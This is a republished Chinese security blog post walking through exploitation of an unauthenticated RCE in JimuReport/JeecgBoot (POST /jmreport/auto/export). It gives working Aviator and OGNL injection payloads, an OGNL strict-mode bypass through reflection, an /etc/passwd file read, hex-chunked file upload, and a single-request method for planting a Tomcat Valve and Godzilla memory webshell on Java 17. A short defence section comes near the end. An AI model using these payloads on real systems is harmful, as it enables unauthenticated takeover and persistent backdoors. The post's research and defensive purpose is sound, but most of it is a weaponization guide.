文章总结: 本文详细分析了JimuReport<=2.5.0未授权RCE漏洞的完整利用过程,从Aviator表达式注入绕过到OGNLstrictmode绕过,最终在Java17+Tomcat10环境注入内存马。文章记录了真实踩坑细节,包括环境指纹探测、文件传输方案及jakarta适配问题,对安全研究与防御建设具有较高参考价值。 综合评分: 88 文章分类: 漏洞分析,红队,渗透测试,安全工具
JeecgBoot/JimuReport 未授权 RCE 技术分析:从表达式注入到内存马
原创
luckone luckone
SafetyTeam
2026年9月1日 15:50 中国香港
在小说阅读器读本章
去阅读
在公众号小说中沉浸阅读
本文基于授权测试环境完成,对目标信息做了脱敏处理,仅作为技术分享。 记录一次完整的漏洞利用过程:从一个报错
Function not found: Eval.me开始,逐步打通任意文件读取、命令执行,最终在 Java 17 + Tomcat 10(jakarta)环境下成功注入内存马。全文包含大量真实的”踩坑-定位-绕过”细节,希望对读者有所启发。声明:本文内容仅用于安全研究与防御建设,请勿用于非法用途。
0. 漏洞背景
JeecgBoot 的积木报表组件 JimuReport 在 2026 年 8 月被披露了一个新的未授权 RCE:
- 影响版本:JimuReport <= 2.5.0(对应 JeecgBoot 官方发行包 v3.9.3 捆绑的版本)
- 问题接口:
POST /jmreport/auto/export - 根因:
-
auto/export标注了
@JimuNoLoginRequired,JimuReportTokenInterceptor直接放行; -
JeecgBoot 的 Shiro 又把
/jmreport/**配成anon—— 未登录即可进入导出流程; -
导出时,
reportParams[].params的值会被ExpressUtil.a()处理:值以=开头时,去掉等号后交给 Aviator 表达式引擎执行; -
Aviator 只
disableFeature(NewInstance),use导入、静态方法调用仍然可用,于是可以构造表达式调用任意 Java 静态方法。
官方在 JimuReport2.5.1中修复:禁用 Aviator 的 Feature.Use / StaticMethods / StaticFields 等特性。但由于组件升级滞后,大量部署至今仍受影响。
1. 第一道坎:原版 PoC 直接报错
网上流传的 PoC 长这样:
{”reportParams”:[{”id”:”<报表ID>”,”params”:{ ”x”:”=use groovy.util.Eval; Eval.me('[\”cmd\”,\”/c\”,\”ver\”].execute().text')” },”exportType”:”pdf”}]}
测试环境返回:
{”success”:false,”message”:”导出报表失败: Function not found: Eval.me”,”code”:500,...}
这个报错非常关键——它说明:
-
漏洞链路确实可达(匿名访问 + 表达式确实被 Aviator 求值了,否则不会报 “Function not found”);
-
use groovy.util.Eval;没有生效。用 Aviator 5.2.6 本地复现后发现:当
use导入的类在 classpath 上不存在时,Aviator 会静默忽略导入,随后Eval.me(...)被当成未注册函数 →FunctionNotFoundException。
也就是说:目标环境确认是 JimuReport 2.5.0 + Aviator 5.2.6,但 classpath 上没有 groovy 库。原版 PoC 在带 groovy 的环境能打,在这类环境中必须换路。
顺带一提:payload 里的 [“cmd”,”/c”,”ver”] 是 Windows 命令,若目标是 Linux,即使表达式能执行也会失败。
2. 环境指纹:把目标摸清楚
既然表达式能执行,先做”引擎指纹”。用 Integer.parseInt(表达式) 让结果以异常消息的形式回显:
// 表达式结果如果是字符串,会出现在: // ”导出报表失败: For input string: \”<结果>\”” =use java.lang.*; Integer.parseInt(System.getenv('HOME')) // -> For input string: ”/home/<用户名>”
用这个方法可以摸清目标环境的典型配置(下表为测试环境的通用特征,不同环境需自行探测):
| 项 | 值 |
| — | — |
| 框架 | Spring Boot 3.x + 嵌入式 Tomcat 10.x(jakarta.servlet) |
| JDK | Java 17(JPMS 模块限制,无 --add-opens) |
| 运行身份 | root(java -jar <应用>.jar 方式启动) |
| 鉴权组件 | sa-token(响应头可观察到自定义标识) |
| 经典依赖 | commons-io、ognl、commons-collections 等(影响后续利用路径) |
同时确认:classpath 上没有任何 groovy / Nashorn(Java 17 已移除),原版 PoC 在此环境彻底无望。
3. 关键突破口:classpath 里有 OGNL
用 Class.forName 探测依赖时发现:
org.apache.commons.collections ✓(CC 链可用) com.sun.org.apache.xalan...TemplatesImpl ✓ org.springframework.expression.spel... ✓ ognl.Ognl ✓ ← 这才是关键
OGNL 是完整的表达式语言,支持任意 Java 调用(new、实例方法、反射)——这是绕过 Aviator 限制的绝佳后门。
于是第一版 RCE 成形:
=use ognl.Ognl; Ognl.getValue( ”new java.lang.ProcessBuilder({'sh','-c','id'}).start()”, '')
结果又被拦:
Method [public java.lang.Process java.lang.ProcessBuilder.start()] cannot be called from within OGNL invokeMethod() under stricter invocation mode.
4. OGNL strict mode 绕过
OGNL 3.2.x 增加了 “stricter invocation mode”,根据被调方法的 declaringClass 做黑名单:Runtime、ProcessBuilder、ClassLoader、AccessibleObject.setAccessible、MemberAccess 等全部禁止。
突破口有两个:
-
new构造器不在黑名单(按方法拦,不按类拦);
-
java.lang.reflect.Method.invoke不在黑名单 —— 黑名单检查的是”OGNL 直接调用的那个方法”的声明类,
Method.invoke声明在java.lang.reflect.Method上,合法。于是通过反射去调真正被禁的方法,OGNL 根本看不见。
组合拳(注意:getMethod(name, Class…) 是可变参数,OGNL 处理会崩,但传显式null表示空参数数组就能绕开):
// ProcessBuilder 构造器合法 -> start() 被禁 -> 用反射调 new java.lang.ProcessBuilder({'sh','-c','id'}) .getClass().getMethod('start', null) // 拿到 Method .invoke(new java.lang.ProcessBuilder({'sh','-c','id'}), null) // Method.invoke 绕黑名单
命令执行打通,配合 id > /tmp/o.txt + 文件读取回显,命令执行 + 输出回显完成。
5. 任意文件读取(Aviator 直接就能干)
其实不借助 OGNL,Aviator 自己就能读文件(use java.nio.file.* + 嵌套静态调用 + Integer.parseInt 回显):
=use java.lang.*; use java.net.*; use java.nio.file.*; Integer.parseInt(String.join('', Files.readAllLines(Paths.get(URI.create('file:///etc/passwd'))))) // -> For input string: ”root:x:0:0:root:/root:/bin/bash...”
还可以读 /proc/self/environ、/proc/self/cmdline、系统属性、环境变量等,信息收集效率很高。
6. 传输文件的三个坑
要注入内存马,必须把 class 文件放到目标磁盘上。这一路踩了三个经典的坑:
坑 1:服务端对 queryParam 做 URLDecoder
auto/export 流程里有一句 URLDecoder.decode(queryParam.toString()),于是 JSON 里的 + 会被解码成空格。base64 里的 + 全被破坏 → 改用hex(纯 0-9a-f,天然免疫)。
坑 2:echo 分块时 – 开头被当选项
echo -n … 这种经典问题,hex 也没有 -,又规避了。
坑 3:请求体超过约 19KB 直接 502
大 class 要么分块多次 echo >> 追加,要么后面用 gzip 压缩 + 单请求内联。
最终传输方案:xxd -p 本地转 hex → 5000 字符/块 echo >> → 目标 xxd -r -p 还原。
7. 内存马之路(Java 17 + jakarta 的连环坑)
7.1 javax vs jakarta:生成工具的”时代差”
用常见的 Java 内存马生成工具(jmg)生成 Tomcat Filter 内存马,部署后报:
NoClassDefFoundError: javax/servlet/Filter
原因:工具默认生成的 Filter/Interceptor 全是javax.servlet(Tomcat 9 / Spring Boot 2 时代),而目标是 Tomcat 10.x(jakarta.servlet)。
关键发现:新版 jmg 其实内置了 jakarta 版 shell(如 jmg/godzilla/memshell/GodzillaJakartaFilter),只是默认走 javax 版。用 jmg 的 core API(GodzillaGenerator.makeShell)指定 shellType=JakartaFilter 即可生成。
7.2 Filter 注册器:预置实例绕过懒加载
自写注册器 FixedInjector 的要点:
-
从当前线程的 context classloader(TomcatEmbeddedWebappClassLoader)出发,
ccl.resources.context拿到TomcatEmbeddedContext; -
用 URLClassLoader(父加载器 = webapp classloader)加载 shell 类,
newInstance出 Filter 实例; -
构造
FilterDef,setFilter(实例)把实例直接预置进去(关键!否则 Tomcat 会在请求时用 webapp classloader 按类名加载,找不到 URLClassLoader 里的类); -
addFilterDef+
addFilterMapBefore("/*")注册映射; -
手动往
context.filterConfigs里 put 一个ApplicationFilterConfig(其构造器是 protected,要 setAccessible)。
这样可以得到第一个内存马:请求头触发命令执行的简易 jakarta Filter(几百字节级)。
7.3 管理端内存马也上了
同一套注册器,换 jakarta 版 Godzilla Filter 生成的 shell,管理客户端可连接:
URL: http://target/ 密码: <自定义> 密钥: (工具自动处理) 请求头: <自定义>
7.4 重头戏:一款 Valve 内存马的”静默失败”
测试一款自定义 Tomcat Valve 内存马(随机混淆包名,如 xxx.xxx.IreneDelia,AES + cookie 协议)。部署后第一次报:
NoClassDefFoundError: xxx/xxx/IreneDelia (wrong name: com/shell/GShell)
—— 类名/路径对不上,这个好修。但修好后发现另一个更隐蔽的问题:
这个类的注入逻辑在 静态块里,有两条找 Tomcat 容器的路径:
路径 1:Bootstrap
Class.forName(”org.apache.catalina.startup.Bootstrap”) → daemon → catalinaDaemon → server → services → inject()
嵌入式 Tomcat 从不初始化Bootstrap.daemon(= null)→ NPE → 被 catch (Throwable) 吞掉。
路径 2:getService()回退
getFieldValue(Thread.currentThread().getThreadGroup(), ”threads”) // ThreadGroup.threads getFieldValue(thread, ”target”) // Thread.target
这两个字段都在java.base 模块。Java 17 的 JPMS 规定:unnamed module 的代码对 java.base 的非公开字段setAccessible直接抛InaccessibleObjectException。而 里全是 catch (Throwable) 静默吞异常……
结果:类加载”成功”、初始化”成功”(不抛错),但 Valve 根本没注入。用 Checker 检查 pipeline:
ENGINE basic valve: org.apache.catalina.core.StandardEngineValve ← 还是原生的,没被换
7.5 Bridge:绕过 JPMS 的注入桥
写一个 Bridge 类,完全绕开 java.base 字段,只用 Tomcat 自己的公开 API 和 unnamed-module 字段(JPMS 管不到):
ccl(webapp) → resources → context(TomcatEmbeddedContext) → getParent() → getParent() → engine → getPipeline() → 读 basic 字段(StandardPipeline, Tomcat类, setAccessible OK) → URLClassLoader 加载内存马类 → newInstance → 设置 oldValve 字段 → Proxy.newProxyInstance(org.apache.catalina.Valve, handler) // basic valve 劫持 → 写回 pipeline.basic
注入成功:
ENGINE basic valve: jdk.proxy2.$ProxyXXX handler=xxx.xxx.IreneDelia
而且业务完全不受影响(Proxy 把正常请求转发给原 StandardEngineValve)。
8. 终极形态:单请求注入
前面都是多步操作(传文件、跑注册器、验证)。能否一次 HTTP 请求完成全部?两个优化:
- 不用 exec 写文件(ProcessBuilder 双引用会让命令出现两次、体积翻倍),改用 OGNL 直接写:
java @org.apache.commons.io.FileUtils@writeByteArrayToFile( new java.io.File('/tmp/mem/.../MemShell.class'), new java.util.zip.GZIPInputStream( new java.io.ByteArrayInputStream( @java.util.Base64@getDecoder().decode('<gzip+base64>'))) .readAllBytes()) base64 只出现一次,体积可控; - gzip 压缩 class:约 10KB 的类可压到 5KB 左右,注入桥也能压掉近一半。最终:一个 OGNL 表达式(约 10KB,含两个内嵌 class)完成”建目录→写类→加载→注入”全部动作,一次 POST /jmreport/auto/export 即可上线 Valve 内存马。
9. 防御建议
- 升级组件:JimuReport 升级到 2.5.1+(禁用 Aviator
Use/StaticMethods/StaticFields),JeecgBoot 升级到捆绑新组件的版本; - 接口鉴权:
auto/export去掉@JimuNoLoginRequired,导出强制登录;/jmreport/**不要整体 anon; - 别把 HTTP 参数当表达式:
getBaseSql里对 queryParam 做ExpressUtil.a求值本身就是设计缺陷,应彻底移除; - 纵深防御:WAF 拦截
params中=use、Ognl.getValue、ProcessBuilder等特征;应用以最小权限运行(避免 root);合理配置--add-opens白名单(可缓解但不能依赖); - 监控:关注
/jmreport/auto/export的异常大请求体(本文单请求注入约 10KB,正常导出远小于此);对内存马特征请求头/参数(如自定义触发头、api=等)做告警。
10. 总结
完整攻击链:
/jmreport/auto/export(未授权 Aviator 表达式注入) → classpath 有 ognl → OGNL 任意 Java → OGNL strict mode 绕过(ProcessBuilder + Method.invoke 反射链) → 命令执行 / 任意文件读取(响应回显) → hex 分块传文件(绕过 URLDecoder) → jakarta Filter 内存马 → Valve 内存马(Bridge 绕过 Java 17 JPMS 静默失败) → 单请求注入(gzip + FileUtils 内联,一次成型)
几点值得记住的实战经验:
- 报错信息是最好的指纹。
Function not found、wrong name、数据源配置错误……每个报错都指向一个具体的环境事实; - “类加载成功”不等于”代码执行成功”。
<clinit>里吞异常的静默失败是最难排查的(用 Checker 做二次验证必不可少); - JPMS 是 Java 17 上内存马的头号敌人,但它只拦 java.base,Tomcat/Spring 的 unnamed-module 类可以正常
setAccessible; - 表达式引擎的”特性黑名单”通常按方法声明类拦截,
Method.invoke这类反射入口往往是漏网之鱼; - 内存马是内存态的,进程重启即失效,真正的防御还是要落在组件升级和接口鉴权上。
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:SafetyTeam luckone luckone《JeecgBoot/JimuReport 未授权 RCE 技术分析:从表达式注入到内存马》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。











评论